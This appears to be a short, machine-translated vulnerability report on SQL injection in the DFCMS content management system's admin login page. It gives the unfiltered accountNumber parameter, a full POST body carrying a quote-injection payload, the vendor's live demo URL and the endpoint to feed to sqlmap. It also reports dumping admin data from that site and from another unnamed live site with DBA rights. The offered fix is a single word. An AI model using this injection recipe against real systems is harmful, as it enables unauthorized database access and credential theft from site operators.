DFCMS system universal injection (demo demonstration)

DFCMS system universal injection (demo demonstration)

 

Program: DFCMS


Vulnerability file: acAdmin/acAdminLogin. jsp

AccountNumber = the parameter is not filtered. (That is, the corresponding part of the number)

Post: isEncrypt = 0 & loginFailPage = acAdminLogin. jsp & accountNumber = 1% 27 & loginName = admin & loginPwd = test & mianlogin = on & imgLogin. x = 66 & imgLogin. y = 16



Official demo:

Http://www.dfcms.net/acAdmin/acAdminLogin.jsp

Enter 1'
 

 

Error:
 

 

 

Run sqlmap

Injection point:

Http://www.dfcms.net/acAdmin/acAdmin.do? Method = login

Post: isEncrypt = 0 & loginFailPage = acAdminLogin. jsp & accountNumber = 1% 27 & loginName = admin & loginPwd = test & mianlogin = on & imgLogin. x = 97 & imgLogin. y = 25


 

Admin data:
 

Another website on the Internet also runs out of data (dba)
 

 

Solution:

Filter ~